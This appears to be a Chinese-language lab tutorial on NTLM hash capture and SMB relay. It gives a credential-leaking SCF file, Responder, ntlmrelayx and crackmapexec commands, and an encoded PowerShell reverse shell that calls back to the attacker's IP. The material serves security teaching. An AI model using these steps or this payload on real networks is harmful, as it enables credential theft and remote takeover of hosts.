一、NTLM简介
NTLM
是一系列安全协议的名称,由LM
、NTLMv1
、 和组成NTLMv2
,各种基于Windows
的网络上的应用程序协议使用它来验证远程用户的身份,并可以根据应用程序的请求提供会话安全性。- 安全
NTLM
协议都是嵌入式协议,这意味着虽然NTLM
像其他协议一样有消息和状态机,但它没有网络协议栈层。这种性质NTLM
允许网络堆栈中具有定义层的任何协议(例如SMB
、HTTP
(S
) 和LDAP
(S
))使用它。
二、狩猎哈希
2.1 简介
- 本攻击手法是采用
Responder
或者impacket-ntlmrelayx
来捕获连接到攻击机的主机哈希或主机会话。可以先使用前面提到的工具来建立监听器,而后将恶意文件放置到共享目录或者主机某个文件夹中。每当其他主机访问存放恶意文件所在位置的文件夹,就会自动访问请求文件所指定的攻击者监听器的地址。由于SMB
协议的滥用,将导致主机会向攻击者发送受害者的哈希以此来校验是否可以访问目标地址,从而被攻击者截取到受害者的哈希值。 - 一般此类文件放在
SMB
服务器中,当受害者向该SMB请求资源时,访问到该文件所在的文件夹,将会自动加载并向攻击者监听器发起SMB
请求,由此被捕获到账户哈希。此类文件的一般后缀为lnk
、scf
...... - 生成工具: NtlmTheft
2.2 文件示例:
[Shell]
Command=2
IconFile=\\192.168.30.231\share\legit.ico
[Taskbar]
Command=ToggleDesktop
2.3 攻击说明:
- 攻击机:
192.168.30.231
- SMB主机:
192.168.30.227(DNS:windows2016.tech.com)
- DC:
192.168.30.30.149
- 效果说明:在攻击者将
scf
文件放在SMB服务器内的一个文件夹内,受害者在DC上使用administrator
账户访问该文件夹后,即将账户哈希转发到攻击者主机
2.4 效果演示:
2.4.1 Responder
Command
:responder -v -I eth0
- 使用网卡
eth0
在域内进行LLMNR广播欺骗,捕获目标会话信息
- 使用网卡
2.4.2 NtlmRelay
Command
:impacket-ntlmrelayx -t 192.168.30.236 -smb2support
- 使用截取到的用户身份,去访问
192.168.30.236
主机的SMB
,具体请了解NTLM
跨协议中继。 - 使用此种方式,在目标用户具备管理员权限下,将自动提取
hash
- 额外补充:该工具是
SmbRelay
攻击的常用工具,还可以实现许多攻击类型,譬如ESC8
、CVE-2019-1040
等
- 使用截取到的用户身份,去访问
三、SMB中继攻击
3.1 简介
SMB
中继攻击是一种利用主机在开启SMB
时不恰当的配置导致的攻击手法,它可以利用截取到的域内账户凭证来访问SMB
开启且未启用验证SMB
签名的主机,对其dumphash
或者命令执行。- 攻击流程示例如下
- 补充:实际的攻击场景更多会在攻击者对网络投毒之后,对其他IP进行欺骗,以此引导域内账户在验证时,将凭据导引到攻击者进行中继攻击。相关的投毒工具:
Responder
3.2 攻击步骤
3.2.1 寻找未启用SMB签名的主机
- 执行命令:
crackmapexec smb 192.168.30.0/24 --gen-relay-list relayTargets.txt
--gen-relay-list FILE_NAME
:根据给定子网生成禁用签名的计算机列表,并将它们保存到文件中
3.2.2 启动中继服务-DumpHash
- 执行命令:
impacket-ntlmrelayx -tf relayTargets.txt -smb2support
-tf
:指定针对目标主机清单-smb2support
:让启用的服务可以支持smb2
协议
- 补充-1:在
DumpHash
后,可以使用PTH
的攻击手法,譬如evil-winrm
来对目标取得shell
- 补充-2:该攻击方式的触发需要有域内账户访问攻击者的主机,以此来获取到一个身份凭证,
- 譬如执行:
dir \\192.168.30.231\c$
: - 本示例于
DC-192.168.30.149
使用Administrator
账户访问攻击者SMB
触发
- 譬如执行:
3.2.3 启动中继服务-命令执行
-
执行命令:
impacket-ntlmrelayx -tf relayTargets.txt -smb2support -c "<command>"
- 这里执行的是一条反弹
shell
的命令,如下
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADMAMAAuADIAMwAxACIALAA1ADUANQA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
- 反弹shell命令生成器:传送门
- 这里执行的是一条反弹
-
结果如下:成功获取到目标
shell